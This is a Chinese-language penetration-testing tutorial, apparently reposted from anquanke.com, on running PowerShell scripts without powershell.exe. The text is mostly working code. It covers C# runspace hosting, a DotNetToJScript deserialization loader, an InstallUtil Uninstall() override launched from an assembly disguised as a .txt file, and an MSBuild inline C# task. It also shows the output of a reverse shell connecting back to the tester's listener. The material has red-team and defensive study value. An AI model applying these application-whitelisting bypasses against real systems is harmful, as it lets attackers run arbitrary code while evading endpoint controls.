0x00 前言
作为一个 pentest,真的是不需要 Powershell 吗?如果是,我真的会觉得不可思议。
但是,如果是因为某些策略,阻止了你对 powershell.exe 的访问,那该怎么办?宾果,你想对了,有好几个众所周知的解决方案,在本文中,我们使用 C# 程序集来执行我们的 powershell脚本。
首先,我们为什么可以不使用 powershell.exe 来执行 .ps1 脚本?是因为 Powershell 脚本就和 C# 一样,都属于 .Net Framework 框架,他们本质上是一样的。
0x01 引用 Automation
在 C# 中,你需要编译它才能执行,这与 powershell.exe 所解释的 Powershell 脚本不同。鉴于 powershell.exe 只是 .Net 程序集,我们应该可以使用 C# 中的
System.Management.Automation 的解释器与该对象进行交互并执行 .ps1 脚本。
这正是以下代码的作用:
using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.IO; using System; using System.Text; namespace PSLess { class PSLess { static void Main(string[] args) { if(args.Length ==0) Environment.Exit(1); string script=LoadScript(args[0]); string s=RunScript(script); Console.WriteLine(s); Console.ReadKey(); } private static string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(2); } return buffer; } private static string RunScript(string script) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection<PSObject> outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); } } }
首先,使用 RunScript() 方法首先创建一个 “runspace”, 可以将它理解为Powershell运行时的隔离实例。
然后,将脚本添加到新创建的管道中,以某种方式进行通信,并通过 Invok() 方法执行脚本命令。
最后,将运行结果添加到我们的 StringBuilder 中,并使用 ToString() 作为字符串返回,以显示在控制台输出中。这就是为什么我们在命令中添加 “Out-String”。
你是不是也觉得很简单?是时候编译并测试它了!
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:c:\setup\powerless.exe c:\scripts\powersless.cs
请记住,csc.exe 的位置可能不同的系统会有所不同,具体取决于系统上安装的框架版本。还要记住在编译器的引用中要添加“
system.management.automation.dll”程序集。
如果一切正常,则应该已成功编译了此程序。创建一个简单的测试脚本:
test.ps1: echo "Hello from powershell-less" echo "PID: $pid"
启动:
宾果,有效!只需从我们的exe调用脚本,而无需powershell.exe!
这是一个非常简单测试脚本,如果还需要接收用户持续输入的阐述,则整个代码会更加复杂一些,但是在日常的测试中,这种情况是很少的。
0x02 DotNetToJscript
上个小节,是在无限制的环境中,单纯的使用 C# 去加载 powershell 脚本。
现在我们根据现实环境模拟出更加复杂的场景:
- 你无法运行除 classic 目录以外的 exe 二进制文件
那我们该怎么做?这里向你介绍一个神器:DotNetToJscript,这是非常出色的工具,主要是用于创建JScript文件的工具,该文件从内存中加载.NET v2程序集。
cscript.exe 解释了 JScript 和 VBscript文件在 System32 中是合法的本地可执行文件。所以应该没有问题,对吧?
首先,下载整个 DotNetToJscript 项目,启动Visual Studio 2015,打开项目 “DotNetToJScript.sln”,然后切换到 TestClass.cs:
将 TestClass() 函数中的 MessageBox(…) 注释掉,否则每次运行都会弹窗。
接下来,对
System.Management.Automation.Runspaces 和
System.Management.Automation 程序集进行引用,并在 TestClass 中添加以下方法:
private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection<PSObject> outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString()); }
我只是做了一个小更改,将运行结果直接在 RunScript() 中进行输出。编译整个工程,将会得到:
- Dotnettojscript.exe – 转换器
- ExampleAssembly.dll – 我们的 TestClass 的程序集
Dotnettojscript.exe 将从我们的程序集中生成一个 .js 脚本
Dotnettojscript.exe <path_of_assembly> > testps.js
我们的 testps.js文件已经准备好,我们来看一下它的内容。基本上,我们的程序集已转换为 base64序列化对象。当我们调用脚本时,将执行以下操作:
var entry_class = 'TestClass'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); o.RunScript("c:\\scripts\\test.ps1"); } catch (e) { debug(e.message); }
存储的对象将转换为流,反序列化并最终实例化。我们使用 RunScript() 执行上一小节添加 Powershell测试脚本。
宾果,成功。
0x03 Installutil.exe
第二小节,我们使用 DotNetToJscript 来绕过 AppLocker策略。现在我们尝试使用另一种技术。
环境与第二小节一致:无法执行除Windows目录以外的可执行文件,也无法运行 powershell.exe。
不知道你们听说过 installutil.exe,它一般位于 dot.net framework 文件夹中,比如
C:\Windows\Microsoft.NET\Framework64\v4.0.30319
为什么可以利用这个文件呢,是因为这个工具是 一个命令行使用程序,可让你通过执行指定程序集中的安装程序组件来安装和卸载服务资源。 通常需要与
System.Configuration.Install 命名空间中的类搭配使用。
- 我们可以将 installutil 集成到无 powershell 的程序集中,并且我们可以用自己的行为对它的一些操作进行掩盖。例如:卸载过程 ==》 installutil /u <程序集>
- installutil 并不是需要具有 .exe 后缀的程序集
现在,我们看看如何实现我们的目标。其实也非常简单:
- 在无 powershell 的 C# 代码中,我们对 System.Configuration.Install 进行引用;
- 并且创建继承于 System.Configuration.Install.Installer 的专类;
- 我们覆盖 Uninstall() 方法,然后执行 powershell 脚本。
using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Runtime.InteropServices; using System.IO; using System; using System.Text; using System.Configuration.Install; namespace PSLess { [System.ComponentModel.RunInstaller(true)] public class InstallUtil : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { string[] args= {this.Context.Parameters["ScriptName"]}; PSLess.Main(args); } } class PSLess { public static void Main(string[] args) { if (args.Length == 0) Environment.Exit(1); string script = LoadScript(args[0]); string s = RunScript(script); Console.WriteLine(s); } private static string LoadScript(string filename) { string buffer = ""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(2); } return buffer; } private static string RunScript(string script) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection<PSObject> outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); } }
上面的代码,与第一小节大致相同:
- 添加了对 “System.Configuration.Install”的引用;
- 添加了从“System.Configuration.Install.Installer” 派生的 “InstallUtil”类
- 重写了方法 Uninstall(),该方法调用PSLess.Main方法,并传递在命令行参数 “ScriptName” 中指定的脚本名称
现在让我们编译它成 powershell-less.exe ,然后重命名为powerhsell.txt 。
们已经准备好了 test.ps1:
echo "hello from powershell-less" echo "this is your pid:$PID" $psversiontable
测试所用命令如下:
installutil /logfile= /LogToConsole=false /ScriptName=c:\andrea\test.ps1 /U Powershell.txt
成功执行无 Powershell 的伪txt文件!
现在,我们知道了如何使用 .txt扩展名运行自定义程序集,我们可以做更多的事情,你能想到的基本都能实现,没有限制,我们就测试一个 reverse shell。
listening on [any] 4444 ... connect to [192.168.1.128] from [192.168.1.8] 50211 Microsoft Windows [Versione 10.0.15063] (c) 2017 Microsoft Corporation. Tutti i diritti sono riservati. d:\andrea\reverseshell\reverseshell\bin\Release\>
0x04 MSBuild.exe
MSBuild 是 .Net框架中包含的工具,用于创建软件产品的自动化过程,其中包括编译源代码,打包,测试,部署和创建文档。
Msbuild 依赖于 .csproj 文件,该文件具有XML语法,并且包含成功构建.Net程序集的所有说明(可以将其视为与 Linux/Unix 中的 “make” 实用程序等效)
有趣的是,可以在 .csproj 文件中包含 taks,这些文件将在构建过程中执行。而这些 taks 可以使用 C#代码 编写实现。这是我们的test.csproj文件:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="MSPSLess"> </Target> <PSLess/> <UsingTask TaskName="PSLess" TaskFactory="CodeTaskFactory" AssemblyFile= "C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > <Task> <Code Type="Class" Lang="cs"> <![CDATA[ using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Runtime.InteropServices; using System.IO; using System; using System.Text; using System.Runtime.InteropServices; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class PSLess : Task { public override bool Execute() { string buffer = ""; try { buffer = File.ReadAllText("c:/test/test.ps1"); } catch (Exception e) { Console.WriteLine("error:" +e.Message); Environment.Exit(2); } buffer=RunScript(buffer); Console.WriteLine(buffer); return true; } private static string RunScript(string script) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection<PSObject> outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); } } ]]> < / Code> </Task> </UsingTask> </Project>
我们定义了名为 “PSLess” 的任务(自定义内联任务),“CodeTaskFactory” 是实现内联任务的类,并存储在 “
Microsoft.Build.Tasks.v4.0.dll” 程序集文件中。请注意,不同环境该位置可能会有所不同,因为它取决于你的 .Net Framework 版本。
告诉 MSBuild 我们的任务是用 C# 编写的,如你所见,核心 C#程序 看起来像第三小节所使用的程序。在这种情况下,“PSLess” 类是从 “Task”类 继承的,我们将重写 Execute() 方法来调用 C#代码。
嗯,是时候进行测试了,我们将再次使用非常简单的 “test.ps1” 脚本。
echo "hello from powershell-less" echo "this is your pid:$PID" $psversiontable
再次成功,本例更复杂的示例在这可找到:MSBuildShell
0x05 结语
其实,这是个无休止的探索,有很多方法可以达到这些效果。
原文链接:
https://www.anquanke.com/post/id/189152
欢迎登录安全客 - 有思想的安全新媒体www.anquanke.com/ 加入交流群814450983 获取更多最新资讯吧
